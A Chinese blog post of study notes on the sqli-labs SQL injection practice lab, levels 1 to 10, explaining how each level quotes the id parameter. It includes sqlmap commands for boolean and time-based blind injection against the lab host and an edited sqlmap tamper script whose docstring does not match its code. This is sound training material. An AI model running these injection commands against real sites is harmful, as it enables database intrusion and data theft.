less-1

参数被单引号包裹,加单引号,闭合后绕过


less-2

参数没有被包裹,直接带入查询,不需要闭合


less-3

参数被

('$id')

包裹,需要将他闭合


less-4

参数被小括号和双引号包裹,先对id进行处理,两边加上双引号,再带入查询,需要将其闭合


less-5

查询结果将mysql_error()返回前端,报错注入。需要先将前边进行闭合,再进行注入。


less-6

同样将报错信息返回前端,参数用双引号包裹


less-7

这里的报错内容被注释掉,如果正确的话返回的是一个,错误的话返回另一个,可以通过left,substr等函数来判断内容


less-8

正确的话有内容返回,错误的话无内容,参数无包裹。and函数必须两边均为True,返回正确

if为判断,ascii为转为acsii码,substr为选择内容

python .\sqlmap.py -u http://sqli.com/Less-8/?id=1 --dbs --technique B


less-9

返回的内容一样时,只能基于时间注入,通过sleep函数,在less-8上加上sleep

python .\sqlmap.py -u http://sqli.com/Less-9/?id=1 --dbs --technique T


less-10

双引号包裹的时间盲注,同less-9。

这部分使用sqlmap看了好多文章,都是说sqlmap可以直接跑,但是我没有成功。这里的闭合是双引号闭合,通过分析sqlmap的攻击语句是

通过修改sqlmap的一个单引号转utf-8的tamper脚本,将单引号替换为双引号,注入成功

 1 #!/usr/bin/env python
2
3 """
4 Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
5 See the file 'LICENSE' for copying permission
6 """
7
8 from lib.core.enums import PRIORITY
9
10 __priority__ = PRIORITY.LOWEST
11
12
13 def dependencies():
14 pass
15
16
17 def tamper(payload, **kwargs):
18 """
19 Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
20
21 References:
22 * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
23 * http://lukasz.pilorz.net/testy/unicode_conversion/
24 * http://sla.ckers.org/forum/read.php?13,11562,11850
25 * http://lukasz.pilorz.net/testy/full_width_utf/index.phps
26
27 >>> tamper("1 AND '1'='1")
28 '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
29 """
30
31 return payload.replace('\'', "%22") if payload else payload

再或者指定prefix参数

最新文章

  1. 基于UDP协议的socket编程示例
  2. android实现无限轮播
  3. NOIp2010 关押罪犯
  4. sql导入默认用户解决杰奇cms无法登陆管理员账户问题
  5. POJ 2299 树状数组+离散化求逆序对
  6. linux命令中 rpm –qa|grep softname的含义
  7. 用MFC完成一个简单的猜数字游戏: 输入的四位数中,位置和数字都正确为A,数字相同而位置不同的为B。
  8. PYTHON线程知识再研习E---条件变量同步Condition
  9. Maven搭建springMVC+spring+hibernate环境
  10. Cormen — The Best Friend Of a Man
  11. 谈谈Session会话和Cookie
  12. 【css3网页布局】flex盒子模型
  13. 28.C++- 单例类模板(详解)
  14. [LeetCode] Decode Ways II 解码方法之二
  15. 7 Servlet 会话技术
  16. Ubuntu MariaDB PhpMyAdmin
  17. ios 拉伸背景图中间图片不变四周拉伸
  18. Webdings字体和Wingdings字体对照表
  19. 微信小程序和微信公众号的id是一个吗
  20. 绝对强大的三个linux指令: ar, nm, objdump

热门文章

  1. java Error opening registry key 'Software\JavaSoft\Java Runtime Environment'安装jdk1.7遇到的问题
  2. 使用C++标准库cout输出枚举类型
  3. JS 计算日期相减得天数
  4. java数据结构-10循环队列
  5. 十八般武艺玩转GaussDB(DWS)性能调优(三):好味道表定义
  6. Java学习的第三十一天
  7. Java线程池原理及分析
  8. 傲视Kubernetes(一):Kubernetes简介
  9. vim-配置教程+源码
  10. mysql千万级大数据SQL查询优化30条经验(Mysql索引优化注意)